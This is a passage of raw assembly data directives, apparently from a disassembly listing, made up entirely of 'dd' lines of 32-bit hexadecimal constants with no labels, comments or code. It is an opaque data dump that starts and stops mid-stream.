7EA926C8h, 6ED25Ah, 6D5B0280h, 50812098h, 7F64CD07h dd 78E036B3h, 129D5D67h, 459FEEE6h, 407C28C0h, 132107ECh dd 390FF8C5h, 20049E12h, 0D1C11730h, 0ECAD5EF3h, 0F8F09F0h dd 67300076h, 8B7C72h, 0A55C5DC0h, 3A97BDAEh, 0D77F3417h dd 0D5A19200h, 0BD89F58h, 3E6208B9h, 0A03A00A1h, 0E0F083FDh dd 0E4982C32h, 0AD31E7C0h, 38F80014h, 4491D273h, 0F600B10Ch dd 51F129A0h, 7E672132h, 5884B9BAh, 386B5C0h, 180F13CFh dd 0BEE32EAAh, 1E733CF0h, 72EEE205h, 0D8166F2Ch, 9900EC7Ah dd 0E86D0247h, 7B042905h, 0C37A06E3h, 92CE10CBh, 0A4406EA8h dd 877A4Fh, 0B520B0FFh, 1BEF9148h, 0C00FC90Eh, 0A042A0B6h dd 0A6087Bh, 7FFA4F04h, 6AA793A2h, 5EB62703h, 0D840FC43h dd 0EB73B4h, 0E613B7FFh, 1070FCFh, 4E756100h, 0DE1AE8A7h dd 0B1B200F2h, 157DEC32h, 5C000EF4h, 0FFDA2930h, 0E66557CCh dd 3B5F030Fh, 49970C47h, 303431F0h, 0B387D417h, 2CA81B00h dd 9B17E2h, 32F533ADh, 3F79F004h, 43606F79h, 0AF2A238h dd 0DB5C0F12h, 0E0009631h, 0D2F9E9FEh, 2DC40803h, 0A1C21952h dd 30800A9Bh, 34EBE3A7h, 0D200685Ch, 4302A9A5h, 0CE226D7h dd 30A86AF2h, 0BA003348h, 0DE4C208Bh, 73EFF99h, 64FAAE8Eh dd 328790ECh, 0DA0027FCh, 0F57D3433h, 54C0ED4h, 0B420195Eh dd 8439C02Fh, 0DF1EC5B5h, 0B8C3A299h, 0C0AF9257h, 283F06FFh dd 0B433CAh, 7D19E10Ah, 0F92F2ABCh, 3AF0A500h, 7B7371C7h dd 90701F33h, 30C03025h, 0FB0F3C38h, 638AE60Bh, 0E252190Dh dd 89007F69h, 0AB6DB709h, 0BE374100h, 0AF6FA421h, 0B1C002DAh dd 1F735F0Dh, 60039C87h, 4D4C834h, 87E5AE07h, 0F5603096h dd 1651A2h, 0AAEFB1BBh dd 857C6046h, 80EC5B39h, 1CC27F61h, 4E4B2CCh, 0BE6AD13Fh dd 0E203808Bh, 640016B6h, 5B10A26Eh, 0CAB238h, 0CE8D42C6h dd 49605D79h, 40AA39h, 0A2CC6B28h, 13FC06Fh, 654DE18Ah dd 0E9D7F7AFh, 6C0476Eh, 8D05E00Ah, 94BE8BB1h, 4EF58007h dd 9C0005B5h, 0B9C03569h, 0A0040A31h, 0F0099Ch, 0D7A8241Eh dd 0B507DAB6h, 2D789A86h, 21919960h, 85F800C7h, 8ABDA032h dd 270F9CFDh, 0A1124ED3h, 72FE5E97h, 6D7AE4h, 0DBE20124h dd 3ED83CA6h, 8B1C9200h, 0F5CA84C4h, 317F003Bh, 94B1F8E7h dd 380D6BBEh, 20D2F1A7h, 749DCC4h, 15DDD045h, 27A63079h dd 5E006C3Bh, 3ED92DB9h, 0A08A2EF5h, 1A7EE628h, 4870E81Ch dd 37ED2800h, 0D54CCA5Ch, 0C7AC008Ch, 31AF85E1h, 82BD16F6h dd 0AD0A0195h, 314B5F42h, 24ABCC42h, 0D70DB21Ch, 9C0A8B80h dd 1433F99h, 5A28B9A0h, 707E2C57h, 20C61486h, 1F48CBC0h dd 8CFD101Fh, 0B510CA85h, 4712F100h, 2BEDE235h, 0EC883AB3h dd 527C9E00h, 36F86243h, 0FDB15E00h, 4A25C77Eh, 63F60073h dd 5C3B18F7h, 910B262Ch, 87304336h, 0A90086C2h, 0ED5B5989h dd 636801D3h, 51DEADD4h, 6501C4EAh, 18E9DB3Ah, 762056ACh dd 0E1CF3AF3h, 0FCDD779Eh, 3D515500h, 0FB8398FDh, 639F1900h dd 0BE645CEFh, 0C36000Ah, 3CF90E61h, 0C825B071h, 0E550F5h dd 8949A19Eh, 0C546DDC0h, 79834300h, 8015B039h, 5BAD0013h dd 1CF62C0Bh, 45004FCDh, 4428BCAEh, 2BB546h, 5E708B18h dd 24BA5B2Ch, 0FD51AD00h, 0B9630D79h, 44720048h, 0F190AF57h dd 3267ECDh, 0E8003D5Bh, 0E15F2FECh, 0E46C3950h, 0FA09D200h dd 0D359F773h, 29FCDD3Ah, 0A78104D8h, 0D3DCC144h, 2BDD0C5Eh dd 0ACB36030h, 0D000FB64h, 56997BC6h, 0E1AAD47h, 0E4C5CCE3h dd 18891856h, 1184AB9Bh, 2A156CEFh, 1718180Fh, 3749CD3Bh dd 0FE3B84CEh, 0B19E23Fh, 0DC9310CFh, 50133CA1h, 807D6718h dd 0A99061DDh, 880C5C8Ah, 8542AC2Fh, 8324859Ah, 6EC20C45h dd 8D75401h, 4301E1C8h, 0AB184193h, 0A80C4219h, 0CD9F6CA1h dd 0F7DB40C9h, 0B00118Fh, 237942FCh, 0ADA7566h, 0D517583Dh dd 545700A8h, 0F145827Fh, 95DBA405h, 0B84FEF1Ch, 61696342h dd 0AEC3F8BAh, 61D1934h, 70CE38DAh, 0F90044FFh, 0DCC0771Ah dd 7DC31B36h, 0D8FE07DFh, 40A199EAh, 0FCCDBF2Fh, 299ED600h dd 83AE8CC2h, 1C523958h, 1C50ED1Dh, 0A77F00BAh, 3D90321Ah dd 248CE313h, 0CF98B300h, 54B9EC97h, 0F9B4C52h, 0E77C949h dd 7C9A0012h, 4AEC1E9Fh, 0CF213014h, 5C8300FCh, 0D8B342Bh dd 0D11403D3h, 0D2C2DEE8h, 0C427BE80h, 0CB995B03h, 0D8C0CCEAh dd 0EC46A7E3h, 77C807ABh, 0BAC10C6Dh, 9E94001Ch, 8F063349h dd 9D88A403h, 0B0B015B6h, 0F435F0AFh, 0D83414F8h, 0BB01B5DEh dd 8212CC3Ch, 0A689F46Fh, 4F00CE76h, 2341380Ch, 3EE32A2Dh dd 777CD1Dh, 89946E9Dh, 0ACB1308Bh, 48C0C13Dh, 236F8E80h dd 0EF28C021h, 15B251BDh, 0B195AB00h, 1DAFC2A3h, 6B7958h dd 601FE867h, 0C17A1E09h, 319CE60Ch, 0E2B8CEh, 0E16B1288h dd 1B044A4Ch, 5601B1F0h, 6530F0E4h, 0A37014D7h, 0F8030305h dd 0F4E0389Ch, 8A796CC0h, 1BFC5138h, 0E1882593h, 0B8401468h dd 322A95h, 0B9C23517h, 0DBCA76Ch, 4E1014A0h, 2D000670h dd 1A31D0C0h, 7744AE01h, 0A981291Ch, 65A7058h, 3831658Dh dd 0A300AA4Ch, 0AC95F6B5h, 7A1FBF7h, 9C18960Ah, 9DC280A8h dd 2005FA5h, 0C5F56742h, 601A25CEh, 0B01E41B6h, 700DBD5Eh dd 31F1FC06h, 1306660h, 0ADA7022Ah, 0ECAF1CCAh, 0BA031FCFh dd 402344BEh, 0A965D8BFh, 1DE603D2h, 865C0304h, 14F05EB8h dd 9B6A9200h, 1E8BDBE0h, 78DE6065h, 0E2C61921h, 80B68C39h dd 0E138F5C3h, 24D368AAh, 20EE54h, 3623A94Eh, 0FE9880B0h dd 8922CE0Ch, 188402Eh, 0E78E046Bh, 808B844Eh, 19D8A320h dd 1A7C563h, 5DAFBCB1h, 4A31E6B3h, 68B6A0ACh, 7E71071Ch dd 8104AF70h, 229E431Bh, 37C08094h, 0ED023Ah, 4F3D6817h dd 54F92CA5h, 0F670F0A5h, 4C84A887h, 32540306h, 0DA0D0DFh dd 26C256B1h, 0EF810334h, 88196CD6h, 0F4FDB7h, 0C1E98B11h dd 0AF04708Fh, 0A1E823F3h, 0DC23AD05h, 0EC0061CBh, 9CB2C589h dd 5F9B5107h, 0A61B9A8h, 84590156h, 155DD6F0h, 0A0A4795Ch dd 93467000h, 0D54CEDA3h, 97D6D300h, 258BA789h, 0C0A200F6h dd 0F30D8740h, 2201D5B6h, 0C19345EFh, 84509747h, 0F5D6D25h dd 5BC3AB94h, 200CAFC7h, 8FB502C0h, 6F669D14h, 7178FD0h dd 0A660C677h, 0F40A056Ah, 5C6491D4h, 7C87113h, 0F8AA0830h dd 72351F9Fh, 0C0649DCAh, 86062A93h, 78028F85h, 3D1FE763h dd 780C45D3h, 0A8307D30h, 0B208D8CEh, 30491D5h, 17F3164Ch dd 0BC34C0E4h, 0D852361Ch, 0FACFCh, 50EB6E8Fh, 0B4B23A1Eh dd 30F41B55h, 570AE774h, 80F05D43h, 0A2CB6E71h, 6328CF1Eh dd 0E014816Ch, 0D2C461ACh, 981CD860h, 67440071h, 25CFE074h dd 4578099Dh, 8C080C50h, 0F74DF178h, 7F3C7884h, 29DE181Dh dd 111CB411h, 772E8B39h, 52201D78h, 0A56A18C4h, 940678C1h dd 0A9F75800h, 177AB94Bh, 2BE6017Eh, 2366F69Ah, 42203189h dd 1C403840h, 0C0007A49h, 0A315CD22h, 941993h, 6B0C434h dd 0C9EBE0CAh, 887AB608h, 5F64402Ch, 21261803h, 4C07CCF5h dd 0A2F03729h, 3A80B33Fh, 4D01BE5Dh, 19B0CAD3h, 95B8600Eh dd 83414C03h, 1EF6C46Fh, 1A9F0E9h, 7D23294Fh, 0AB41F463h dd 0AA14B603h, 9AD288B5h, 0E9E4804Dh, 0C9A99745h, 901421F1h dd 4B0A7F03h, 3D75FC54h, 6F96CED1h, 0E729005Bh, 9DB84110h dd 81A91F3Eh, 0A4E2D714h, 9C4096CDh, 9061E46Ah, 1ACC0028h dd 0D3C62C9Bh, 0AF00A97Ch, 25E71BDh, 0C9FE2Ah, 0C2A808A0h dd 5D64999Ch, 0A5CF6E01h, 7CBFDDEBh, 602C04DCh, 159D8838h dd 0F10066B6h, 4D21E618h, 0EC3B6D4Ch, 79CC0004h, 0C9D2699h dd 6E01278Ch, 699506A5h, 0A8D42339h, 0A8918Eh, 0AB101F9Ah dd 8A00B57Fh, 0BE6484Dh, 186E9832h, 28CD675Eh, 0B801DD36h dd 0BD92020Ah, 9440F847h, 0D7B1BBh, 440904F2h, 18BEFDD6h dd 0FAFB300h, 87426362h, 0DD5703F0h, 5E4B4F84h, 0A9346580h dd 2712F600h, 9AE37D59h, 66351AACh, 43D21A1h, 0E2B0C6E0h dd 0CF180028h, 4DB486FBh, 0CA017C78h, 5666D038h, 30895347h dd 0C5800DA8h, 3F2A2135h, 3E54343Eh, 18F034B4h, 0A5A9686Ch dd 1874CA78h, 0ED465097h, 4542BA00h, 0F8D3B44Bh, 53FD3E31h dd 78027505h, 0F10C02B7h, 0F6225787h, 6EAD1016h, 3F304145h dd 18BB6164h, 1056FF85h, 0C54A5177h, 1332931h, 0ED9A2524h dd 851D01BCh, 8BC70C40h, 0A149C868h, 82990D62h, 81FDB518h dd 65E0B60Ch, 1591318Ah, 95A20848h, 8234D942h, 82B8C330h dd 0BCFF0D0Ch, 0C905524h, 0D90974E9h, 0D5244191h, 720C423Fh dd 3E7954A2h, 5FAD0C82h, 51A59C91h, 892F224h, 147A42C9h dd 1018174Fh, 0B73E79BDh, 947BC804h, 62BA0301h, 0CC190C5Bh dd 8E3113F4h, 89F02E61h, 47E005D1h, 66496Bh, 99D20207h dd 96A0FF8Fh, 1238DD5Bh, 2F0FA7E6h, 405D62C1h, 53432A29h dd 4AC763Eh, 0B7B319D1h, 23249755h, 0B9FE0231h, 9B57660Ch dd 7ADC702Fh, 0A48CA87Bh, 0C2A700D1h, 0F9FBBAE1h, 0D2049468h dd 307197Eh, 169C0490h, 5D713F97h, 0C50650C9h, 88D328FEh dd 58F69000h, 649606AFh dd 0F757040Ch, 7517865h, 2101870Dh, 1C5F6634h, 69B00400h dd 8F0776ACh, 8C149h, 7B668D65h, 18AF9718h, 506E1B71h dd 5A03F731h, 0FF7408FBh, 5D63C0C4h, 2E4200EAh, 5E2A207Bh dd 0F401F68Eh, 629B5AF1h, 9AC707EFh, 0AEC88F63h, 0C37083F0h dd 70D87BB6h, 8DFD05B9h, 18ECCFh, 764F2C14h, 6E541AFBh dd 723E5934h, 0F800F432h, 8D6A60D0h, 3804E717h, 37A6370h dd 5738EF61h, 1BC8A8A1h, 0D2005E93h, 0BD8D9C2h, 0EBD324Ch dd 8E2EB9C9h, 5459B0E7h, 0ED34D0BFh, 0C5720BDEh, 41076600h dd 4F506587h, 0CF730642h, 690D74BFh, 2D46700h, 0B18F62A8h dd 1F521C88h, 407B06B5h, 0F57FD1B2h, 424880D4h, 34598040h dd 5020060Dh, 0EF5C8ABh, 609A776Fh, 0AFD21180h, 3B0294C8h dd 0AB707B0Ah, 31646056h, 7F890834h, 7904B923h, 4080BCF9h dd 38DF5651h, 0B501AF4Eh, 4840B69Ch, 0F2B7FCD7h, 37B80560h dd 57EAE26h, 9C648CA4h, 88D801D2h, 9F5FDA27h, 500A8D20h dd 100088ADh, 2F175940h, 304A7C74h, 8818A094h, 6956C2AAh dd 0C5F00184h, 71744CEAh, 983C24h, 1382CAE8h, 0CE61E741h dd 0AEF852B8h, 59B88A0Eh, 5054AD9Eh, 12757C58h, 931252h dd 8CE5BD94h, 0EB048E96h, 9DD7245Eh, 71FD80C0h, 487849D3h dd 3C40EF10h, 5CFF9869h, 80C5BAA0h, 0FD0073B5h, 5642EB6Dh dd 0EA9BEC34h, 177100F0h, 53FEE111h, 90FC0FDFh, 994F5E07h dd 0BBC130BFh, 27C0509Ah, 0D6D000F0h, 366A62E8h, 0EE0733E9h dd 21F4FEE3h, 96E21F90h, 14C0144Fh, 1200C751h, 0C443E133h dd 0FE2EF834h, 54000142h, 0E08CD0EBh, 44AC0771h, 70E95FDEh dd 932A972Ch, 7DBDFF00h, 1290D711h, 495B0345h, 0D2FE92F6h dd 0D0EBBCA1h, 0D003E80Eh, 3BCC19F5h, 9170C0F3h, 0E0EC004Eh dd 3B0A3BBh, 30AE67E7h, 82FFF802h, 18FD2F1Bh, 0EC04545Dh dd 76819D2h, 0F565F800h, 9D7557DCh, 0E8771B28h, 1451300h dd 2C0AF622h, 0BA701F8h, 0CF1B6CB0h, 0FA388006h, 56B42571h dd 0C710036Bh, 0EF9C352Bh, 9D425BF9h, 86404F70h, 83D002ECh dd 0B1BC01BFh, 0DCE93013h, 2FA840E2h, 6D009F26h, 24FA0D49h dd 801A48h, 0B8E48B65h, 0E88604EBh, 110C9003h, 0B05FDFA3h dd 0EC71F8h, 7B7D56Fh, 879EC05Eh, 0FD030371h, 0AE2B91D2h dd 0C859906Ah, 0C2570267h, 0ED56BAC6h, 6F5AC80h, 1003A0AFh dd 0D92D0845h, 0ECF90155h, 914D0359h, 0E1E08EF0h, 0AFA3A090h dd 0FAC5CDFh, 210323BBh, 29004895h, 35A450BDh, 60C09439h dd 0D6DB621h, 802000A8h, 1E64C622h, 0F80013F6h, 0AED4AF3Ch dd 1AE052h, 0D1347EC0h, 894D547Ah, 0ACFE8D2Ah, 85046B7Fh dd 5765817Bh, 0A37691C0h, 8B752839h, 36150CECh, 0E63093C4h dd 0B1EDBC30h, 809D3F09h, 412A3B1Fh, 221CC4B7h, 283B9603h dd 860CEC5Bh, 0F852CE6Ch, 301D1D02h, 0E53C04CFh, 9908809Bh dd 50405D03h, 2A73E69Ah, 1849796h, 1AE5BB87h, 41D23555h dd 10760B18h, 60B8CA1Bh, 47BA7825h, 882428EDh, 6C8C34DFh dd 3D12962h, 7F66EADEh, 0BAD9600Ch, 164C204Ah, 183A7105h dd 0B5877A82h, 4E220480h, 56F8030Dh, 0DC9F765Bh, 0C33C5178h dd 0D2F33C42h, 9B0C1008h, 0C70FACC0h, 2400E0E3h, 7331E7Ah dd 0C6B1DCDh, 0BB8A583Eh, 0D8000E78h, 0B13E6D4h, 0B0579B7Ah dd 0CA3300CFh, 0C90DAC60h, 0D701CDE8h, 9B15595Ch, 0D852E019h dd 8104A0F8h, 30CDBD69h, 601930BBh, 7E286641h, 8601A094h dd 964769EEh, 0B9C33D2Ah, 0E050B965h, 0FA6A9E15h, 6DFF4BEh dd 985106C9h, 5F0138B5h, 61EA4D68h, 0ACC88D33h, 7D26E82Bh dd 4D44CEFh, 608CEE12h, 7062A520h, 0A19EC8A8h, 220A7890h dd 0C829BA7Ah, 384CE941h, 19C1DF4h, 0B9311824h, 309E99ABh dd 0B21249D9h, 9C045A42h, 0C0AB098Fh, 7F571AC6h, 7C6C51CBh dd 2DEB00C6h, 5D860843h, 0EF113060h, 3AFAA326h, 4D85977Fh dd 52A10740h, 0B1411930h, 6248501Bh, 430156A4h, 2BE7B09h dd 4C345315h, 0D67300DDh, 186995CEh, 45022ADEh, 831FAE64h dd 0DFF44099h, 2B890016h, 0F5209356h, 9E03A89Ch, 65F3B41Eh dd 38E6B830h, 0EBCA260Dh, 8192183Ch, 0DA00D3D8h, 0C7CBC485h dd 0C811C57h, 0F1AA510Dh, 9B00A520h, 0C6F94127h, 30017D4Ch dd 1E6875B4h, 0C015D5E5h, 946786h, 30FCC3D2h, 1652A04h dd 0E328E96Eh, 201E2DB6h, 907B208h, 0DB0BCD57h, 55ADEA50h dd 4C6EE89Ah, 6D0088DDh, 80C2B823h, 1A4C6740h, 7EC71FF7h dd 0F38DCC4h, 10C0EEC6h, 8095FAB0h, 22CB2656h, 22C443F3h dd 0D09601BBh, 0C8F49924h, 0D856C90Ah, 48C13066h, 970D8ABh dd 2F3D5880h, 85FE25A2h, 1126FB00h, 0A8FCD78Eh, 10EC02B5h dd 0BBC45366h, 5B199F60h, 0F847CA00h, 0F034418Dh, 36E218EAh dd 5758A4ADh, 6F61B700h, 0CBA109EBh, 0E8F61Dh, 197AC116h dd 72B8EAE7h, 0B16EC01Dh, 0C304CB5Eh, 25C6070Ah, 48C0030h dd 0EF3CB210h, 0D2303F08h, 2FB418C5h, 2C72F0h, 0E598BFF5h dd 0EB36F6B6h, 651B20Dh, 1DE411ECh, 0E7A44CA0h, 0F713EA00h dd 0EC7F08EDh, 581F427Ah, 0D8829311h, 0A0B95B7Bh, 20048F24h dd 1C4E52B4h, 30D5DF18h, 49F3E318h, 7868883Ch, 4BFE0F5h dd 0B8294CD4h, 60B154C1h, 184C1268h, 0D0FD241Fh, 376C23C6h dd 0A597560h, 5880648h, 29CFB7FFh, 0A0608818h, 5F314CFFh dd 57920C3Dh, 8606148h, 3F186B04h, 4CCDC505h, 90104798h dd 2831F660h, 1AE4619Fh, 68468DEBh, 0D1AC2003h, 84B42DA5h dd 4FFA9078h, 0BD8A7F60h, 3A6440C1h, 404A8BA1h, 0C20E4811h dd 0B4CF81DFh, 2AA811A0h, 1FBF8042h, 609872AFh, 9C6BB80Ch dd 1DB8BEF9h, 0CB30887Fh, 2878508Fh, 44A2526Dh, 0C011B0CEh dd 4A78521Fh, 90B12418h, 0A2A0D018h, 0FFC14084h, 0F2A3DD00h dd 0E9419B6Eh, 522700C0h, 14D065C8h, 0FA001206h, 85A9C7E3h dd 363A37h, 0B9595A3Ch, 4F136BCAh, 0CF5EE400h, 9D2B63AEh dd 21F83A44h, 50DF840Fh, 61254E83h, 3469A4E0h, 357C20C6h dd 0A451FC10h, 4B6D0834h, 0D9E0AC38h, 11CADA9h, 9D798F2Fh dd 5851DEE4h, 7B235750h, 0A8790C5Eh, 0A500AF38h, 0B0CEC817h dd 6F049D27h, 0C207B083h, 0F8C4812Ch, 672C4A7Ah, 0BAB44090h dd 1B6CCF20h, 0B28EA500h, 0A0ED978Ch, 3FC40FB6h, 0D9EEF682h dd 0E2540F9Eh, 0F0BE7607h, 0A61936A1h, 0EFB7E0E9h, 0AC0056F2h dd 0B0371BCBh, 0D8372h, 0D93945D2h, 0A29A68C4h, 0CDB1930Ch dd 6FB7120h, 0F6A0EC69h, 856151ABh, 0F0D6B648h, 0F3E4C1F3h dd 0D4691080h, 41C38381h, 0B5CFEC01h, 0C6F8850Fh, 0F4BEC810h dd 0D7F8C3E0h, 0B8379200h, 6F25BC58h, 0F01CAB82h, 60C6C7D1h dd 0B7F228C4h, 9E29099Ah, 0FF8030BAh, 0AC4A96A7h, 0D2D70048h dd 0BE0953FAh, 5EE8B54Bh, 42C2053h, 81BA6C93h, 89883242h dd 8B00701h, 3B16185Ch, 0FB9F1FE0h, 0AE1280CBh, 0BF02684Dh dd 9D0644A6h, 0C66D60BEh, 1B720558h, 60FC667Eh, 4B4EBD14h dd 50FAE930h, 1476BB52h, 3C218277h, 9007EAC0h, 50C0C060h dd 667CD4B2h, 67E20A1Ch, 0C0546277h, 0DDB263Ah, 1592FD40h dd 14730B6Ch, 0F7347BC0h, 0ACA82AF1h, 640EADC5h, 8AAEFA1Ch dd 4DC0185Ch, 0A83BD667h, 0C9D280h, 12FC64E4h, 0CEC276D5h dd 0B4FEB4A0h, 81B8B653h, 69A4D02h, 0EB32998Ch, 2F1C3C40h dd 5100A835h, 6580ECCDh, 7740E8AEh, 0C7D53AE2h, 11305900h dd 238C77F5h, 0AF674C00h dd 0A8161F54h, 88160C0h, 0CCA484E0h, 0C7AC260Ah, 5A811CD6h dd 71A9D405h, 6FEB400h, 0F220A807h, 0C565CB63h, 0D5CE1830h dd 0C9BA20BBh, 29099420h, 81480780h, 0B08B1E1h, 0AEF401E6h dd 0C6F0244Dh, 2AB033Ch, 8FD4AF60h, 186700Dh, 9AC6B805h dd 0DAF38118h, 5080E3BBh, 0A9687E34h, 14A6C3A0h, 0F5F821Ch dd 0AE147931h, 815028A3h, 95E5CB89h, 1F74004Fh, 28A85714h dd 90176B02h, 54005F04h, 7ACA2ECCh, 21E41E06h, 2C2354EBh dd 27AE0181h, 0F9B410F7h, 0E0D72C5Ah, 26CA0302h, 0C6A1FD7Fh dd 0E6D07048h, 0C0208567h, 0A6C30737h, 6181831h, 45C608AFh dd 59E68CA0h, 0DBA608CFh, 0C8FDA048h, 99201DEDh, 74143371h dd 0E05540C0h, 7861EC7Ch, 2A338010h, 318D9D01h, 1F23181h dd 0BEFEFD88h, 0CC869968h, 66D07B90h, 4608C036h, 60D6D3B2h dd 0D5EE8703h, 0C1652CC0h, 189E09E0h, 3F75E80h, 0BBD48340h dd 0D3CEF2B9h, 0D7BD46C0h, 0EF4AA01Fh, 0A9D6006h, 0F9773C08h dd 0BE482870h, 0FA9E3E88h, 30706174h, 1CB1480h, 509B19F7h dd 0B1E108F6h, 7B588CD3h, 0C3B608D0h, 0D148A070h, 187C0830h dd 0C6D772C0h, 108C2830h, 8C29C32h, 6090816Eh, 884172B5h dd 0E0E05CA1h, 0F5E7C1Eh, 0EE960CC0h, 416E5607h, 406B7AA0h dd 0ECE57EA4h, 550087F8h, 0F89F60D7h, 747C0D6h, 0E720BC64h dd 2B834F5Bh, 7583D5F2h, 0ED41087Ch, 400123F1h, 0E0288517h dd 980CFF21h, 933F217Dh, 831811Ch, 0E1585Ch, 2A2FA694h dd 1D020D6h, 0BCBFD766h, 43EEC4A0h, 0A9379C9Ch, 3A01E827h dd 8442A54Ch, 0E0E041FCh, 0D43778B8h, 61DF83B8h, 6FCC4038h dd 3C1ED220h, 0E0E09C19h, 4B816422h, 0F6F42D8Fh, 24AB890Eh dd 60872510h, 41FF0F42h, 0AC25968h, 2BC350D8h, 0C8F1D710h dd 84F6D409h, 62D34082h, 38316842h, 5B81D4CDh, 90C43488h dd 47460588h, 8380EEA3h, 77FAA5D0h, 6A1ED48Fh, 85F6FD8h dd 81F0F584h, 20411458h, 549087E4h, 10C4F7E0h, 4814F40h dd 88860EC0h, 8761546h, 6D87963h, 0E6080CB7h, 2538F76Dh dd 0EFA111C5h, 584AFC00h, 0CC9140A9h, 0E0601309h, 8245531h dd 0ED021ABCh, 84756848h, 3AF34348h, 0F8680C88h, 0C1FC1085h dd 28A2E808h, 4DB4F015h, 798FC195h, 4C7E288Fh, 83BE806h dd 20C451F8h, 8006788h, 481522B9h, 7C459B3Ch, 1650E21Fh dd 8F2D8B0Fh, 837F4E28h, 0CF6095A8h, 2ED648C0h, 249200C8h dd 40BE882Fh, 57ECA85Dh, 3AFE08E8h, 1FD5F0F1h, 0FCE85107h dd 9C4350EEh, 3248A0C8h, 40A8F801h, 96F2889h, 64EC8008h dd 74746850h, 270803C3h, 0BAE82E77h, 9748701Bh, 0E629E140h dd 7CAD28D0h, 456837B2h, 2B5B4328h, 0A152C6C7h, 50F15E03h dd 0BCEF88h, 2DC41780h, 4418A5A8h, 0F01F4819h, 218C9848h dd 89E0C7D8h, 8801A974h, 0C8441BCCh, 319F105Dh, 3CCF1DA3h dd 0FC197D7Bh, 1DF802E6h, 9C1C571Eh, 0F1A0C08Fh, 0D8A84387h dd 3E165D3Ch, 68148529h, 0C40D5FACh, 0C2E070CAh, 428A4DAh dd 306446DFh, 857C081Ch, 682EA88h, 602B97F4h, 2E7E3D15h dd 0A95C021Ch, 0EEA034Fh, 0A2938E5h, 20C826DCh, 0D8B563A8h dd 833FFC2h, 0E52AE9AFh, 0A048A800h, 606CE32h, 0CF6E3344h dd 992C1880h, 570C6163h, 0AA20884h, 0A9E81568h, 1630605Ch dd 0D3406442h, 0DA8844BCh, 8248B361h, 0BED02EAEh, 0EE34183Dh dd 8BAAD1B2h, 9A84214h, 4EE80EECh, 0C37095EDh, 0ED38188Dh dd 899C8C44h, 6369B71Ch, 4035C565h, 6C186863h, 0C0174ED0h dd 8B932810h, 0C77FC843h, 65317C90h, 0C130C80Ah, 81BCC2F3h dd 959448D8h, 62028E0h, 2A684280h, 9EFA1079h, 1A4808F0h dd 148788Ch, 94247C10h, 0F20950B6h, 41840212h, 67C405Eh dd 951780Fh, 4E345B98h, 0C6041C14h, 1B1A23B1h, 71E7FC07h dd 8A144816h, 0CC72E828h, 593AB89h, 9806BF24h, 0A3C88A28h dd 0E808199Ch, 4608B0DEh, 2A480885h, 5DB44010h, 0F0D2F0E3h dd 8B2A8CCh, 1AA00588h, 70512E33h, 0A2EA9CB0h, 13986420h dd 0A5801DCh, 60143800h, 70ED0F22h, 0B73CF4A8h, 0F87E9183h dd 81B9DC42h, 0A117AEBCh, 48F5C043h, 8A2848A8h, 4C1925B0h dd 82151D04h, 68485010h, 1448989Ah, 0FAD9B0B0h, 2ACC22D5h dd 50AA6704h, 0EBABBA8h, 54F4D4DFh, 0ABC353A0h, 13912620h dd 0F9F87Ch, 343B733Ch, 0D04CD86Eh, 8AA21D10h, 0ECF7183Eh dd 90FB9E20h, 9336024h, 68511607h, 0F0A174FEh, 28202042h dd 9D780B6Fh, 0B80509D3h, 0E0092462h, 0A8A48185h, 0D041CDF1h dd 1C316FEFh, 108A2921h, 0AE4D145h, 148CD89Bh, 207CF076h dd 946FD0F8h, 0D9B70668h, 9B96210h, 0FC83A51Eh, 0F0195207h dd 0A4084D3Dh, 0E5E13A61h, 4D88D430h, 3C18F079h, 81E6A851h dd 7C4DB090h, 0ACF710DCh, 0BD440522h, 128D89DEh, 0C9B72204h dd 4C20FD0Fh, 0A813BCE5h, 24DC4630h, 774D18EEh, 0C92310DCh dd 0B5442E22h, 44D49AA6h, 0D09A8644h, 20F08120h, 6A20FAE6h dd 194C20CEh, 28083A62h, 23D068D3h, 5860C9C2h, 0C613D0A4h dd 10D4D0E8h, 78907294h, 4816DC92h, 485B416Bh, 33BC1E0h dd 66FBE8E0h, 1878E854h, 39E3C81Bh, 2680CE10h, 690EA08h dd 10F00548h, 13E80348h, 540417C8h, 0A0D0FC28h, 242E16D9h dd 98B0D6A8h, 0F56808ECh, 0EE26B490h, 0E1C008Ah, 9232E04Eh dd 83A5428h, 0A261D954h, 0F1405C05h, 0BD020C8Eh, 0EAA0798Bh dd 40B7BC02h, 0D9BA0858h, 4193A898h, 938ADCACh, 6804B590h dd 10929488h, 0E2984357h, 0E2C86377h, 0B306897h, 3ED890B7h dd 0C048BDAFh, 0B0294CB0h, 201EAE20h, 0E824529Ch, 0D4246877h dd 10BAB858h, 18B2E5DFh, 683087FCh, 4C5098BBh, 0B6A03C28h dd 1DE638F4h, 1C308589h, 0D02D488Eh, 0D8634C4Ch, 0F0180728h dd 68088188h, 1320DD19h, 0E8F0043Eh, 1B080434h, 9D069491h dd 0B899B860h, 4807E85Ch, 4E2438CFh, 4888053Ch, 82FC044Dh dd 3C76BC5Eh, 66517B5Ch, 204FFD90h, 6248A870h, 8220746Ch dd 18F463FAh, 937E968h, 0A2CB2097h, 4321284Ch, 1C61B388h dd 16F8A8E8h, 0C5BC0C51h, 7C635E20h, 24B2F6D0h, 9830E1E0h dd 41A87802h, 68184090h, 87F0C3FEh, 99E0C6AFh, 0E3220BCh dd 43A5A0C2h, 4A45A278h, 0C850C858h, 911274D5h, 2F116020h dd 8E401A16h, 6222C3Ch, 0B85414C4h, 43D43874h, 0F0B7ECD8h dd 88A52EFFh, 907C1C80h, 6D0E1318h, 216009A6h, 0AEC2C08h dd 0E0204295h, 870879B4h, 287C8C40h, 338C1CE8h, 1370B089h dd 6F5828D5h, 0A6531208h, 6D5C0C1Ah, 0A4722EA8h, 0B0241648h dd 20AF0CC0h, 0BC3D8DEBh, 34645CCAh, 4C703063h, 545FC04Fh dd 0E39C8881h, 626E5C60h, 0DB48A0EDh, 0C1B00409h, 3F0E748Eh dd 88C847DFh, 0F0A795A0h, 4CCA810Fh, 0EFDC99ADh, 5D6E8070h dd 810A7CACh, 0E3302DF1h, 1DAA664Ah, 0ED213C21h, 7F800C33h dd 30CB4ED6h, 98791C80h, 0FE288E54h, 88B4E064h, 1498787Ch dd 0C604148Eh, 53215C7h, 2945C04h, 94A30948h, 229BFA54h dd 0BC124471h, 0F438C1C9h, 0C0DA0855h, 9C0A87BEh, 9E6064D0h dd 0A44E7617h, 8824EFA8h, 0A24A63Eh, 1406BA66h, 7FDC8CDCh dd 36516870h, 517BD0F4h, 9414B0A2h, 7832F50Ch, 5C3CD909h dd 480B3C0Dh, 408F137Fh, 8640632h, 98E8106Eh, 0C04858C3h dd 0FB41E739h, 0BCECAF0Bh, 